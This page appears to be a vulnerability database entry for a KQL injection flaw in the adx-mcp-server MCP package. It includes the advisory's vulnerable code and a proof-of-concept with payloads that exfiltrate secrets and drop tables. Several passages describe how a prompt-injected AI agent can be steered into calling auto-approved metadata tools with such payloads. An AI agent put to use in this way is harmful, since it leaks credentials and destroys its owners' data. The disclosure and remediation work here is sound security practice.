EUVD-2026-16878
GHSA-vphc-468g-8rfp
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker injects KQL payload into table_name parameter
-
ExploitMCP server interpolates unsanitized input into f-string query
-
ExecutionArbitrary KQL executes against Azure Data Explorer
-
ImpactAttacker reads sensitive data or modifies database
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Query language parameterization
|
| Exploitation Conditions | Requires authenticated access to adx-mcp-server (commit 48b2933 or earlier) with privileges to invoke MCP tools |
| Impact | Real-world risk is HIGH despite the 8.3 CVSS score requiring authentication (PR:L). The CVSS vector indicates network-accessible (AV:N), low complexity (AC:L), no user interaction (UI:N), and high confidentiality/integrity impact (C:H/I:H) with low availability impact (A:L). The authentication requirement moderately reduces risk, as attackers need valid credentials to the MCP server or must compromise an AI agent with access. However, the prompt injection attack vector described in the advisory is particularly concerning - malicious actors can manipulate AI agent prompts to trigger these tools with injected payloads, effectively weaponizing the AI itself. The proof-of-concept demonstrates trivial exploitation using comment-based SQL injection techniques adapted to KQL syntax. The ability to execute management commands like .drop table poses data destruction risks beyond typical injection vulnerabilities. Patch availability mitigates immediate risk for organizations that can update promptly, but the niche nature of MCP servers may result in slow patch adoption. The Python package ecosystem context (PyPI distribution) creates supply chain exposure if dependencies pull vulnerable versions. No CISA KEV listing or EPSS data provided, suggesting limited observed exploitation in enterprise environments, but the AI agent attack vector represents an emerging threat class that traditional exploitation metrics may not capture adequately. |
| Exploit ScenarioDerived | An attacker with valid credentials to an MCP-enabled AI assistant triggers the get_table_schema tool by submitting a prompt like 'Show me the schema for sensitive_data | project APIKey, CustomerPII | take 1000 //'. The AI agent, interpreting this as a legitimate schema request, invokes the get_table_schema tool with the injected table_name parameter. The server constructs the KQL query 'sensitive_data | project APIKey, CustomerPII | take 1000 // | getschema', where the double-slash comments out the intended getschema operator. The Azure Data Explorer cluster executes the attacker's arbitrary query, returning sensitive API keys and customer PII instead of schema metadata. Alternatively, an attacker uses get_table_details with a newline-injected payload to execute '.drop table audit_logs', destroying forensic evidence. The proof-of-concept code in the security advisory demonstrates both data exfiltration and destructive command execution patterns. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
KQL injection in adx-mcp-server Python package allows authenticated attackers to execute arbitrary Kusto queries against Azure Data Explorer clusters. Three MCP tool handlers (get_table_schema, sample_table_data, get_table_details) unsafely interpolate the table_name parameter into query strings via f-strings, enabling data exfiltration from arbitrary tables, execution of management commands, and potential table drops. Vendor-released patch available (commit 0abe0ee). No public exploit identified at time of analysis, though proof-of-concept code exists in the security advisory demonstrating injection via comment-based bypass and newline-separated commands. Affects adx-mcp-server ≤ commit 48b2933.
RemediationAI
Upgrade adx-mcp-server to the patched version containing commit 0abe0ee55279e111281076393e5e966335fffd30 or later, available from the GitHub repository. The patch implements proper input validation and parameterization for table_name parameters to prevent KQL injection. Installation instructions and patched code are available at https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30. Review the GitHub Security Advisory GHSA-vphc-468g-8rfp at https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp for complete remediation guidance. As an interim mitigation if immediate patching is not feasible, implement allowlisting of valid table names at the application layer before invoking MCP tools, restrict Azure Data Explorer permissions for the service account to read-only access on necessary tables only, and audit MCP tool invocation logs for suspicious table_name patterns containing pipe symbols, comment markers, or newline characters. Organizations using AI agents with this MCP server should review agent prompt engineering to minimize prompt injection risks that could trigger malicious tool calls.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in a Model Context Protocol (MCP) server implementation that provides AI agents with tools to query Azure Data Explorer (Kusto) databases. MCP is an emerging protocol allowing AI assistants to interact with external data sources through defined tool interfaces. The affected package constructs Kusto Query Language (KQL) statements using Python f-string interpolation without input validation. KQL, Microsoft's query language for Azure Data Explorer, supports operator chaining via pipe (|) symbols and management commands prefixed with periods (.). The vulnerability class is CWE-943 (Improper Neutralization of Special Elements in Data Query Logic), specifically a NoSQL injection variant. The tools were designed as metadata inspection utilities but accept arbitrary user input that becomes executable code. The trust boundary issue is particularly critical because MCP clients may auto-approve 'safe' metadata tools while requiring confirmation for the execute_query tool, allowing the injection to bypass security controls that users expect to protect against arbitrary query execution.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema"
# <-- KQL injection
result_set = client.execute(config.database, query)@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}"
# <-- KQL injection
result_set = client.execute(config.database, query)@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details"
# <-- KQL injection
result_set = client.execute(config.database, query)KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
sensitive_table | project Secret, Password | take 100 //to read arbitrary tables- Newline-separated management commands like
.drop table important_dataviaget_table_details - Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data detailsExecutive ViewAI
The adx-mcp-server Python package contains a Kusto query language injection vulnerability that allows authenticated users to execute arbitrary queries against Azure Data Explorer clusters, potentially leading to unauthorized data access, exfiltration, or deletion. Organizations using this package to integrate with Azure Data Explorer face immediate risk of data breach or service disruption if their environments contain sensitive data or critical analytics infrastructure.
Restrict network access to adx-mcp-server endpoints to trusted internal systems only; implement authentication token rotation and monitor for unusual query patterns in Azure Data Explorer audit logs; limit authenticated user roles in Azure Data Explorer to read-only access on non-sensitive tables pending patch deployment.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
NoSQL injection exploits databases that don't use traditional SQL syntax-like MongoDB, CouchDB, or Redis-by manipulating queries through unsanitized user input.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Exploit-DB